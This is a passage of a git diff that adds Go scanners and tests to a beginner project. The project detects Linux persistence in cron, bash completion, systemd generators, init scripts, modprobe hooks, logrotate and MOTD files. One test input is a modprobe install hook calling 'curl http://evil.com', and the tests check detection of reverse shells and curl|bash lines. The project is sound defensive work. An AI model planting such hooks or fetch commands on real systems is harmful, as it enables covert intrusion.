+ emptyRoot := t.TempDir() + + findings := a.Scan(emptyRoot) + if len(findings) > 0 { + t.Errorf( + "empty spool produced %d findings, want 0", + len(findings), + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go new file mode 100644 index 00000000..bf749ef7 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go @@ -0,0 +1,66 @@ +/* +©AngelaMos | 2026 +completion.go + +Scans bash completion scripts for persistence via shell sourcing + +Bash completion scripts in /etc/bash_completion.d/ and user +~/.bash_completion files are sourced on every interactive shell +startup. They execute in the user's context and are rarely +monitored, making them attractive for credential theft and +C2 callbacks. + +MITRE ATT&CK: + T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification +*/ + +package scanner + +import ( + "path/filepath" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + completionScannerName = "completion" + mitreCompletion = "T1546.004" +) + +func init() { + Register(&CompletionScanner{}) +} + +type CompletionScanner struct{} + +func (c *CompletionScanner) Name() string { + return completionScannerName +} + +func (c *CompletionScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + sysDir := ResolveRoot(root, "/etc/bash_completion.d") + for _, path := range ListFiles(sysDir) { + findings = append( + findings, + ScanFileForPatterns( + path, completionScannerName, mitreCompletion, + )..., + ) + } + + for _, home := range FindUserDirs(root) { + bc := filepath.Join(home, ".bash_completion") + findings = append( + findings, + ScanFileForPatterns( + bc, completionScannerName, mitreCompletion, + )..., + ) + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go new file mode 100644 index 00000000..e96d5ab9 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go @@ -0,0 +1,62 @@ +/* +©AngelaMos | 2026 +completion_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestCompletionScanner_CleanScript(t *testing.T) { + path := filepath.Join( + testdataDir(), "completion", "clean-completion", + ) + + findings := ScanFileForPatterns( + path, completionScannerName, mitreCompletion, + ) + + if len(findings) > 0 { + t.Errorf( + "clean completion produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestCompletionScanner_MaliciousScript(t *testing.T) { + path := filepath.Join( + testdataDir(), "completion", "malicious-completion", + ) + + findings := ScanFileForPatterns( + path, completionScannerName, mitreCompletion, + ) + + if len(findings) == 0 { + t.Fatal( + "malicious completion produced no findings", + ) + } + + hasHigh := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + } + + if !hasHigh { + t.Error( + "expected high+ severity for curl|bash in completion", + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go new file mode 100644 index 00000000..44280d89 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go @@ -0,0 +1,173 @@ +/* +©AngelaMos | 2026 +cron.go + +Scans all cron locations for persistence indicators + +Checks per-user crontabs, system crontab, cron.d drop-ins, periodic +cron directories, and anacron. Parses crontab entries to extract +commands and runs them through the suspicious pattern engine. + +MITRE ATT&CK: + T1053.003 - Scheduled Task/Job: Cron +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + cronScannerName = "cron" + mitreCron = "T1053.003" +) + +var cronDirs = []string{ + "/etc/cron.d", + "/etc/cron.daily", + "/etc/cron.hourly", + "/etc/cron.weekly", + "/etc/cron.monthly", +} + +var cronSpoolDirs = []string{ + "/var/spool/cron/crontabs", + "/var/spool/cron", +} + +func init() { + Register(&CronScanner{}) +} + +type CronScanner struct{} + +func (c *CronScanner) Name() string { + return cronScannerName +} + +func (c *CronScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + etcCrontab := ResolveRoot(root, "/etc/crontab") + findings = append( + findings, + c.scanCrontab(etcCrontab)..., + ) + + anacrontab := ResolveRoot(root, "/etc/anacrontab") + findings = append( + findings, + c.scanCrontab(anacrontab)..., + ) + + for _, dir := range cronDirs { + resolved := ResolveRoot(root, dir) + for _, path := range ListFiles(resolved) { + findings = append( + findings, + c.scanCrontab(path)..., + ) + findings = append( + findings, + c.checkPermissions(path)..., + ) + } + } + + for _, dir := range cronSpoolDirs { + resolved := ResolveRoot(root, dir) + for _, path := range ListFiles(resolved) { + findings = append( + findings, + c.scanCrontab(path)..., + ) + } + } + + return findings +} + +func (c *CronScanner) scanCrontab( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + if IsCommentOrEmpty(line) { + continue + } + + cmd := extractCronCommand(line) + if cmd == "" { + continue + } + + matched, sev, label := MatchLine(cmd) + if matched { + findings = append(findings, types.Finding{ + Scanner: cronScannerName, + Severity: sev, + Title: "Suspicious cron entry: " + label, + Path: path, + Evidence: strings.TrimSpace(line), + MITRE: mitreCron, + }) + } + } + return findings +} + +func extractCronCommand(line string) string { + trimmed := strings.TrimSpace(line) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + return "" + } + + firstField := strings.Fields(trimmed)[0] + if strings.Contains(firstField, "=") { + return "" + } + + if strings.HasPrefix(trimmed, "@") { + parts := strings.Fields(trimmed) + if len(parts) >= 2 { + return strings.Join(parts[1:], " ") + } + return "" + } + + fields := strings.Fields(trimmed) + if len(fields) >= 7 { + return strings.Join(fields[6:], " ") + } + if len(fields) >= 6 { + return strings.Join(fields[5:], " ") + } + return trimmed +} + +func (c *CronScanner) checkPermissions( + path string, +) []types.Finding { + if !IsWorldWritable(path) { + return nil + } + + return []types.Finding{{ + Scanner: cronScannerName, + Severity: types.SeverityMedium, + Title: "World-writable cron file", + Path: path, + Evidence: "Any user can modify this cron entry", + MITRE: mitreCron, + }} +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go new file mode 100644 index 00000000..7ee3dc0e --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go @@ -0,0 +1,116 @@ +/* +©AngelaMos | 2026 +cron_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestCronScanner_CleanCrontab(t *testing.T) { + c := &CronScanner{} + path := filepath.Join( + testdataDir(), "cron", "clean-crontab", + ) + + findings := c.scanCrontab(path) + if len(findings) > 0 { + t.Errorf( + "clean crontab produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestCronScanner_MaliciousCrontab(t *testing.T) { + c := &CronScanner{} + path := filepath.Join( + testdataDir(), "cron", "malicious-crontab", + ) + + findings := c.scanCrontab(path) + for _, f := range findings { + t.Logf( + "finding: sev=%s title=%s evidence=%s", + f.Severity, f.Title, f.Evidence, + ) + } + if len(findings) < 3 { + t.Fatalf( + "malicious crontab: got %d findings, want >= 3", + len(findings), + ) + } + + hasCritical := false + hasHigh := false + for _, f := range findings { + if f.Severity == types.SeverityCritical { + hasCritical = true + } + if f.Severity == types.SeverityHigh { + hasHigh = true + } + } + + if !hasCritical { + t.Error("expected critical finding for reverse shell") + } + if !hasHigh { + t.Error("expected high finding for curl|bash") + } +} + +func TestExtractCronCommand(t *testing.T) { + tests := []struct { + name string + line string + want string + }{ + { + name: "system cron with user field", + line: "0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf", + want: "/usr/sbin/logrotate /etc/logrotate.conf", + }, + { + name: "at-style entry", + line: "@reboot root /usr/bin/startup.sh", + want: "root /usr/bin/startup.sh", + }, + { + name: "environment variable", + line: "SHELL=/bin/bash", + want: "", + }, + { + name: "comment", + line: "# some comment", + want: "", + }, + { + name: "empty", + line: "", + want: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := extractCronCommand(tt.line) + if got != tt.want { + t.Errorf( + "extractCronCommand(%q) = %q, want %q", + tt.line, got, tt.want, + ) + } + }) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go new file mode 100644 index 00000000..251d0ca3 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go @@ -0,0 +1,101 @@ +/* +©AngelaMos | 2026 +generator.go + +Scans systemd generator directories for persistence executables + +Systemd generators run very early in boot, before logging starts, +and produce unit files dynamically. Any executable placed in a +generator directory runs as root with minimal audit trail. Flags +all executables found, with elevated severity for world-writable +files or recent modifications. + +MITRE ATT&CK: + T1543.002 - Create or Modify System Process: Systemd Service +*/ + +package scanner + +import ( + "time" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + generatorScannerName = "generator" + mitreGenerator = "T1543.002" +) + +var generatorDirs = []string{ + "/etc/systemd/system-generators", + "/usr/local/lib/systemd/system-generators", + "/lib/systemd/system-generators", + "/usr/lib/systemd/system-generators", + "/run/systemd/system-generators", + "/etc/systemd/user-generators", + "/usr/local/lib/systemd/user-generators", + "/usr/lib/systemd/user-generators", + "/run/systemd/user-generators", +} + +func init() { + Register(&GeneratorScanner{}) +} + +type GeneratorScanner struct{} + +func (g *GeneratorScanner) Name() string { + return generatorScannerName +} + +func (g *GeneratorScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, dir := range generatorDirs { + resolved := ResolveRoot(root, dir) + for _, path := range ListFiles(resolved) { + findings = append(findings, types.Finding{ + Scanner: generatorScannerName, + Severity: types.SeverityMedium, + Title: "Systemd generator executable found", + Path: path, + Evidence: "Generators run as root early in boot before logging", + MITRE: mitreGenerator, + }) + + findings = append( + findings, + ScanFileForPatterns( + path, generatorScannerName, mitreGenerator, + )..., + ) + + if IsWorldWritable(path) { + findings = append(findings, types.Finding{ + Scanner: generatorScannerName, + Severity: types.SeverityHigh, + Title: "World-writable systemd generator", + Path: path, + Evidence: "Any user can modify this generator", + MITRE: mitreGenerator, + }) + } + + if ModifiedWithin(path, 24*time.Hour) { + findings = append(findings, types.Finding{ + Scanner: generatorScannerName, + Severity: types.SeverityHigh, + Title: "Recently modified systemd generator", + Path: path, + Evidence: "Modified within the last 24 hours", + MITRE: mitreGenerator, + }) + } + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go new file mode 100644 index 00000000..f9b843bb --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go @@ -0,0 +1,74 @@ +/* +©AngelaMos | 2026 +generator_test.go +*/ + +package scanner + +import ( + "os" + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestGeneratorScanner_MaliciousGenerator(t *testing.T) { + root := t.TempDir() + genDir := filepath.Join( + root, "etc", "systemd", "system-generators", + ) + if err := os.MkdirAll(genDir, 0o750); err != nil { + t.Fatal(err) + } + + src := filepath.Join( + testdataDir(), "generator", "malicious-generator", + ) + data, err := os.ReadFile(src) //nolint:gosec + if err != nil { + t.Fatal(err) + } + writeTestFile( + t, filepath.Join(genDir, "backdoor-gen"), string(data), + ) + + g := &GeneratorScanner{} + findings := g.Scan(root) + + if len(findings) == 0 { + t.Fatal("generator with content produced no findings") + } + + hasExistence := false + hasPattern := false + for _, f := range findings { + if f.Title == "Systemd generator executable found" { + hasExistence = true + } + if f.Severity >= types.SeverityHigh { + hasPattern = true + } + } + + if !hasExistence { + t.Error("expected existence finding for generator") + } + if !hasPattern { + t.Error( + "expected high+ finding for curl|bash in generator", + ) + } +} + +func TestGeneratorScanner_EmptyDir(t *testing.T) { + g := &GeneratorScanner{} + findings := g.Scan(t.TempDir()) + + if len(findings) > 0 { + t.Errorf( + "empty generator dirs produced %d findings, want 0", + len(findings), + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go new file mode 100644 index 00000000..ac455fee --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go @@ -0,0 +1,149 @@ +/* +©AngelaMos | 2026 +helpers.go + +Shared filesystem utilities used by all scanner modules + +Provides safe file reading, directory listing, line scanning, and +file-age checking functions. Handles permission errors gracefully +by returning empty results rather than propagating errors, since +scanners should skip inaccessible paths without aborting the run. +*/ + +package scanner + +import ( + "bufio" + "os" + "path/filepath" + "strings" + "time" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func ReadLines(path string) []string { + f, err := os.Open(path) //nolint:gosec + if err != nil { + return nil + } + defer f.Close() //nolint:errcheck + + var lines []string + sc := bufio.NewScanner(f) + for sc.Scan() { + lines = append(lines, sc.Text()) + } + return lines +} + +func ListDir(dir string) []os.DirEntry { + entries, err := os.ReadDir(dir) + if err != nil { + return nil + } + return entries +} + +func ListFiles(dir string) []string { + entries := ListDir(dir) + var paths []string + for _, e := range entries { + if !e.IsDir() { + paths = append(paths, filepath.Join(dir, e.Name())) + } + } + return paths +} + +func FileExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func IsWorldWritable(path string) bool { + info, err := os.Stat(path) + if err != nil { + return false + } + return info.Mode().Perm()&0o002 != 0 +} + +func ModifiedWithin(path string, d time.Duration) bool { + info, err := os.Stat(path) + if err != nil { + return false + } + return time.Since(info.ModTime()) < d +} + +func ResolveRoot(root, path string) string { + if root == "/" { + return path + } + return filepath.Join(root, path) +} + +func FindUserDirs(root string) []string { + homeBase := ResolveRoot(root, "/home") + entries := ListDir(homeBase) + var dirs []string + for _, e := range entries { + if e.IsDir() { + dirs = append( + dirs, + filepath.Join(homeBase, e.Name()), + ) + } + } + + rootHome := ResolveRoot(root, "/root") + if FileExists(rootHome) { + dirs = append(dirs, rootHome) + } + return dirs +} + +func IsCommentOrEmpty(line string) bool { + trimmed := strings.TrimSpace(line) + return trimmed == "" || strings.HasPrefix(trimmed, "#") +} + +func ScanFileForPatterns( + path, scannerName, mitre string, +) []types.Finding { + lines := ReadLines(path) + var findings []types.Finding + + for _, line := range lines { + if IsCommentOrEmpty(line) { + continue + } + matched, sev, label := MatchLine(line) + if matched { + findings = append(findings, types.Finding{ + Scanner: scannerName, + Severity: sev, + Title: label, + Path: path, + Evidence: strings.TrimSpace(line), + MITRE: mitre, + }) + } + } + return findings +} + +func containsShellCommand(line string) bool { + shells := []string{ + "/bin/sh", "/bin/bash", "/bin/zsh", + "/usr/bin/sh", "/usr/bin/bash", + } + for _, sh := range shells { + if strings.Contains(line, sh) { + return true + } + } + return NetworkToolPattern.MatchString(line) || + ScriptLangPattern.MatchString(line) +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go new file mode 100644 index 00000000..104fde3b --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go @@ -0,0 +1,20 @@ +/* +©AngelaMos | 2026 +helpers_test.go +*/ + +package scanner + +import ( + "os" + "testing" +) + +func writeTestFile(t *testing.T, path, content string) { + t.Helper() + if err := os.WriteFile( + path, []byte(content), 0o600, + ); err != nil { + t.Fatalf("writing test file %s: %v", path, err) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go new file mode 100644 index 00000000..a0715ebe --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go @@ -0,0 +1,114 @@ +/* +©AngelaMos | 2026 +initd.go + +Scans SysV init scripts and rc.local for persistence indicators + +Checks /etc/init.d/ for non-standard scripts and /etc/rc.local for +any executable content beyond comments. Legacy persistence mechanism +that still works on many modern Linux distributions. + +MITRE ATT&CK: + T1037.004 - Boot or Logon Initialization Scripts: RC Scripts +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + initdScannerName = "initd" + mitreInitd = "T1037.004" +) + +func init() { + Register(&InitdScanner{}) +} + +type InitdScanner struct{} + +func (i *InitdScanner) Name() string { + return initdScannerName +} + +func (i *InitdScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + initDir := ResolveRoot(root, "/etc/init.d") + for _, path := range ListFiles(initDir) { + findings = append( + findings, + ScanFileForPatterns( + path, initdScannerName, mitreInitd, + )..., + ) + + if IsWorldWritable(path) { + findings = append(findings, types.Finding{ + Scanner: initdScannerName, + Severity: types.SeverityMedium, + Title: "World-writable init.d script", + Path: path, + Evidence: "Any user can modify this init script", + MITRE: mitreInitd, + }) + } + } + + rcLocal := ResolveRoot(root, "/etc/rc.local") + findings = append( + findings, + i.scanRcLocal(rcLocal)..., + ) + + return findings +} + +func (i *InitdScanner) scanRcLocal( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + hasContent := false + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if trimmed == "" || + strings.HasPrefix(trimmed, "#") || + trimmed == "exit 0" { + continue + } + hasContent = true + break + } + + if !hasContent { + return nil + } + + findings := []types.Finding{{ + Scanner: initdScannerName, + Severity: types.SeverityMedium, + Title: "rc.local contains executable content", + Path: path, + Evidence: "rc.local runs as root at boot", + MITRE: mitreInitd, + }} + + findings = append( + findings, + ScanFileForPatterns( + path, initdScannerName, mitreInitd, + )..., + ) + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go new file mode 100644 index 00000000..7a0a7d41 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go @@ -0,0 +1,63 @@ +/* +©AngelaMos | 2026 +initd_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestInitdScanner_RcLocal(t *testing.T) { + i := &InitdScanner{} + path := filepath.Join( + testdataDir(), "initd", "rc.local", + ) + + findings := i.scanRcLocal(path) + if len(findings) == 0 { + t.Fatal("rc.local with content produced no findings") + } + + hasContent := false + hasHighOrAbove := false + for _, f := range findings { + if f.Title == "rc.local contains executable content" { + hasContent = true + } + if f.Severity >= types.SeverityHigh { + hasHighOrAbove = true + } + } + + if !hasContent { + t.Error( + "expected 'rc.local contains executable content' finding", + ) + } + if !hasHighOrAbove { + t.Error( + "expected high+ finding for wget|sh in rc.local", + ) + } +} + +func TestInitdScanner_EmptyRcLocal(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "rc.local") + writeTestFile(t, path, "#!/bin/sh\n# nothing here\nexit 0\n") + + i := &InitdScanner{} + findings := i.scanRcLocal(path) + + if len(findings) > 0 { + t.Errorf( + "empty rc.local produced %d findings, want 0", + len(findings), + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go new file mode 100644 index 00000000..8193c6bc --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go @@ -0,0 +1,123 @@ +/* +©AngelaMos | 2026 +kernel.go + +Scans kernel module configuration for persistence indicators + +Checks /etc/modules-load.d/ and /etc/modprobe.d/ for suspicious +module load directives and install hooks that execute shell commands +when modules are loaded. + +MITRE ATT&CK: + T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + kernelScannerName = "kernel" + mitreKernel = "T1547.006" +) + +func init() { + Register(&KernelScanner{}) +} + +type KernelScanner struct{} + +func (k *KernelScanner) Name() string { + return kernelScannerName +} + +func (k *KernelScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + modulesD := ResolveRoot(root, "/etc/modules-load.d") + for _, path := range ListFiles(modulesD) { + findings = append( + findings, + k.scanModulesFile(path)..., + ) + } + + modulesFile := ResolveRoot(root, "/etc/modules") + findings = append( + findings, + k.scanModulesFile(modulesFile)..., + ) + + modprobeD := ResolveRoot(root, "/etc/modprobe.d") + for _, path := range ListFiles(modprobeD) { + findings = append( + findings, + k.scanModprobeConf(path)..., + ) + } + + return findings +} + +func (k *KernelScanner) scanModulesFile( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if IsCommentOrEmpty(trimmed) { + continue + } + + findings = append(findings, types.Finding{ + Scanner: kernelScannerName, + Severity: types.SeverityInfo, + Title: "Kernel module loaded at boot", + Path: path, + Evidence: trimmed, + MITRE: mitreKernel, + }) + } + return findings +} + +func (k *KernelScanner) scanModprobeConf( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if IsCommentOrEmpty(trimmed) { + continue + } + + if strings.HasPrefix(trimmed, "install ") && + containsShellCommand(trimmed) { + findings = append(findings, types.Finding{ + Scanner: kernelScannerName, + Severity: types.SeverityHigh, + Title: "Module install hook runs shell command", + Path: path, + Evidence: trimmed, + MITRE: mitreKernel, + }) + } + } + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go new file mode 100644 index 00000000..c5f42a8d --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go @@ -0,0 +1,132 @@ +/* +©AngelaMos | 2026 +kernel_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestKernelScanner_SuspiciousModprobe(t *testing.T) { + k := &KernelScanner{} + path := filepath.Join( + testdataDir(), "kernel", "suspicious.conf", + ) + + findings := k.scanModprobeConf(path) + if len(findings) == 0 { + t.Fatal( + "suspicious modprobe config produced no findings", + ) + } + + if findings[0].Severity != types.SeverityHigh { + t.Errorf( + "severity = %v, want high", + findings[0].Severity, + ) + } + + if findings[0].Title != "Module install hook runs shell command" { + t.Errorf( + "title = %q, want %q", + findings[0].Title, + "Module install hook runs shell command", + ) + } +} + +func TestKernelScanner_CleanModules(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "clean.conf") + writeTestFile( + t, path, + "# Clean module config\n"+ + "options snd_hda_intel power_save=1\n"+ + "blacklist nouveau\n", + ) + + k := &KernelScanner{} + findings := k.scanModprobeConf(path) + + if len(findings) > 0 { + t.Errorf( + "clean modprobe produced %d findings, want 0", + len(findings), + ) + } +} + +func TestKernelScanner_ModulesFile(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "modules") + writeTestFile( + t, path, + "# /etc/modules\nlp\nloop\n", + ) + + k := &KernelScanner{} + findings := k.scanModulesFile(path) + + if len(findings) != 2 { + t.Fatalf( + "modules file: got %d findings, want 2", + len(findings), + ) + } + + for _, f := range findings { + if f.Severity != types.SeverityInfo { + t.Errorf( + "severity = %v, want info", + f.Severity, + ) + } + } +} + +func TestContainsShellCommand(t *testing.T) { + tests := []struct { + name string + line string + want bool + }{ + { + name: "bash path", + line: "install usb-storage /bin/bash -c 'echo test'", + want: true, + }, + { + name: "network tool", + line: "install fake curl http://evil.com", + want: true, + }, + { + name: "clean modprobe", + line: "install pcspkr /bin/true", + want: false, + }, + { + name: "python script", + line: "install mod python3 -c 'import os'", + want: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := containsShellCommand(tt.line) + if got != tt.want { + t.Errorf( + "containsShellCommand(%q) = %v, want %v", + tt.line, got, tt.want, + ) + } + }) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go new file mode 100644 index 00000000..5a0f82b6 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go @@ -0,0 +1,132 @@ +/* +©AngelaMos | 2026 +logrotate.go + +Scans logrotate configuration for persistence via rotate hooks + +Parses /etc/logrotate.d/ configs for postrotate, prerotate, +firstaction, and lastaction blocks that execute shell commands +as root during log rotation. Attackers embed callbacks here +because these files are rarely audited. + +MITRE ATT&CK: + T1053.003 - Scheduled Task/Job: Cron +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + logrotateScannerName = "logrotate" + mitreLogrotate = "T1053.003" +) + +var rotateHooks = []string{ + "postrotate", + "prerotate", + "firstaction", + "lastaction", +} + +func init() { + Register(&LogrotateScanner{}) +} + +type LogrotateScanner struct{} + +func (l *LogrotateScanner) Name() string { + return logrotateScannerName +} + +func (l *LogrotateScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + confD := ResolveRoot(root, "/etc/logrotate.d") + for _, path := range ListFiles(confD) { + findings = append( + findings, + l.scanConfig(path)..., + ) + } + + mainConf := ResolveRoot(root, "/etc/logrotate.conf") + findings = append( + findings, + l.scanConfig(mainConf)..., + ) + + return findings +} + +func (l *LogrotateScanner) scanConfig( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + inBlock := false + blockName := "" + + for _, line := range lines { + trimmed := strings.TrimSpace(line) + + if trimmed == "endscript" { + inBlock = false + continue + } + + for _, hook := range rotateHooks { + if trimmed == hook { + inBlock = true + blockName = hook + break + } + } + + if !inBlock { + continue + } + + if IsCommentOrEmpty(trimmed) { + continue + } + + matched, sev, label := MatchLine(trimmed) + if matched { + findings = append(findings, types.Finding{ + Scanner: logrotateScannerName, + Severity: sev, + Title: "Suspicious logrotate " + + blockName + ": " + label, + Path: path, + Evidence: trimmed, + MITRE: mitreLogrotate, + }) + continue + } + + if containsShellCommand(trimmed) { + findings = append(findings, types.Finding{ + Scanner: logrotateScannerName, + Severity: types.SeverityMedium, + Title: "Logrotate " + blockName + + " runs shell command", + Path: path, + Evidence: trimmed, + MITRE: mitreLogrotate, + }) + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go new file mode 100644 index 00000000..6adc8f80 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate_test.go @@ -0,0 +1,58 @@ +/* +©AngelaMos | 2026 +logrotate_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestLogrotateScanner_CleanConfig(t *testing.T) { + l := &LogrotateScanner{} + path := filepath.Join( + testdataDir(), "logrotate", "clean-syslog", + ) + + findings := l.scanConfig(path) + if len(findings) > 0 { + t.Errorf( + "clean logrotate config produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestLogrotateScanner_MaliciousConfig(t *testing.T) { + l := &LogrotateScanner{} + path := filepath.Join( + testdataDir(), "logrotate", "malicious-app", + ) + + findings := l.scanConfig(path) + if len(findings) == 0 { + t.Fatal( + "malicious logrotate config produced no findings", + ) + } + + hasHigh := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + } + + if !hasHigh { + t.Error( + "expected high+ severity for curl|bash in postrotate", + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go new file mode 100644 index 00000000..3a018f67 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd.go @@ -0,0 +1,63 @@ +/* +©AngelaMos | 2026 +motd.go + +Scans MOTD scripts for login-triggered persistence + +Checks /etc/update-motd.d/ for scripts that execute as root on +every SSH or console login. Attackers plant callbacks here because +the directory is rarely monitored. + +MITRE ATT&CK: + T1546 - Event Triggered Execution +*/ + +package scanner + +import ( + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + motdScannerName = "motd" + mitreMOTD = "T1546" +) + +func init() { + Register(&MOTDScanner{}) +} + +type MOTDScanner struct{} + +func (m *MOTDScanner) Name() string { + return motdScannerName +} + +func (m *MOTDScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + motdDir := ResolveRoot(root, "/etc/update-motd.d") + for _, path := range ListFiles(motdDir) { + findings = append( + findings, + ScanFileForPatterns( + path, motdScannerName, mitreMOTD, + )..., + ) + + if IsWorldWritable(path) { + findings = append(findings, types.Finding{ + Scanner: motdScannerName, + Severity: types.SeverityMedium, + Title: "World-writable MOTD script", + Path: path, + Evidence: "Any user can modify this login script", + MITRE: mitreMOTD, + }) + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go new file mode 100644 index 00000000..7be91fb2 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/motd_test.go @@ -0,0 +1,68 @@ +/* +©AngelaMos | 2026 +motd_test.go 